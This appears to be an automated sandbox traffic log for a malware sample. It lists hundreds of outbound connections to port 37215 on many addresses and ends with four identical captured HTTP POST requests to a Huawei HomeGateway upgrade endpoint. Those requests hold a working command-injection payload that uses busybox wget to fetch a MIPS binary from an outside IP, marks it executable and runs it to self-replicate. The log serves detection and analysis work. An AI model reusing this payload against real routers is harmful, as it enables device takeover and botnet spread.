Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.238.86.56:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.248.106.80:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.23.32.16:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 45.108.186.147:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.102.21.144:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.71.29.54:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.142.154.59:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 106.52.131.100:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.102.2.200:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 37.174.7.127:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.117.255.48:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.204.236.101:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.234.109.181:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 5.36.206.189:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.87.143.118:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.137.88.85:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 107.181.205.142:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.240.165.192:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 73.82.103.89:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.26.0.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.96.7.55:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.43.33.136:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.77.198.167:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 133.2.203.34:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.86.135.39:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.174.150.88:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.179.139.48:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 83.232.121.190:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 182.1.178.9:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.157.228.137:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.32.216.30:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 164.148.64.15:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 66.38.209.38:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 19.26.38.133:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.34.144.169:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.37.27.34:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.150.224.52:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.197.65.3:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.83.30.104:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.231.79.251:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.203.224.243:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.6.41.68:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.41.91.225:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.65.146.207:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.192.110.34:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.122.193.89:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.8.0.122:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.142.47.121:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.231.159.239:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.163.65.74:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.154.16.201:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.95.121.220:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.190.21.245:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.94.135.70:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.216.54.153:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 66.250.59.200:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.21.218.74:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 159.6.108.159:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.57.224.164:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.130.96.71:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 191.61.231.41:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.21.59.32:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.152.211.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.5.238.250:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 17.174.94.67:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.122.92.255:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 205.51.237.202:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.60.156.20:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.111.177.88:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.150.33.50:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 82.15.75.118:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 156.169.233.49:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.73.217.175:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.96.30.200:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.1.20.60:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.166.136.254:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 50.243.251.131:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.195.113.39:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.231.112.70:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.206.45.26:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.167.113.231:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.108.67.121:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 135.183.76.125:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.43.132.217:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.231.21.84:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 90.201.81.114:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.4.60.182:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.225.244.218:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.226.16.36:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.117.230.93:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.245.30.224:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.240.11.201:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 95.51.113.144:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 201.18.105.70:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.23.173.22:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.159.173.96:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.182.31.13:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 201.120.15.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.138.159.92:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.19.100.166:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.66.0.57:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.126.127.87:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.85.8.104:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.98.192.196:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 98.69.54.239:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.48.19.15:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.74.84.237:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.1.134.17:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.136.41.26:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 38.70.82.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 93.162.40.112:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.180.213.52:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.242.140.219:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.41.24.42:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.81.151.81:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.141.54.3:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 180.218.46.113:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.132.63.45:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.139.182.24:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 167.161.115.166:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 200.169.238.174:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.57.10.151:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 58.224.158.213:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 133.50.47.85:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.54.87.126:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.47.252.121:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.57.242.107:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.17.124.66:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.19.92.180:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.200.38.101:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 73.67.202.174:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.53.103.231:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.68.146.71:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.55.96.155:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.158.19.211:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 118.127.205.226:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.234.217.1:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.186.236.192:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.92.240.43:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.49.4.41:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.31.199.77:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.226.215.238:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.185.179.145:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 118.150.252.37:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.47.76.129:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.233.91.198:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.133.199.60:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.238.49.59:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.153.165.224:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.78.94.129:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.96.96.125:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.15.206.79:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 90.15.221.132:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.11.232.178:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.86.219.53:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 149.110.23.37:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.162.69.219:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.24.30.59:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.62.79.180:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 52.231.172.104:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.88.25.128:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.82.81.171:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.176.221.170:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 94.190.170.207:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 125.142.32.188:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 189.77.200.157:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.111.172.140:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.212.34.91:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 50.103.245.208:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 13.57.175.48:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.182.71.97:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.222.38.238:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.70.116.159:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.212.130.247:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.243.87.133:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.122.188.15:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.174.128.7:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.58.75.29:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.249.35.145:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.68.118.197:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.109.25.211:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.0.111.142:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.243.13.125:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.35.64.165:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 155.172.149.47:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.46.201.34:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.246.132.42:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.60.155.67:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.199.157.69:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.177.82.103:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.56.159.165:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.141.127.8:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.254.81.184:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.81.138.242:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.165.78.89:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.165.13.161:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.136.209.124:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.99.184.128:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.77.126.99:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.162.199.120:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.133.243.65:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.123.105.98:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.148.243.231:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.11.248.114:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.236.220.191:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.114.3.57:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
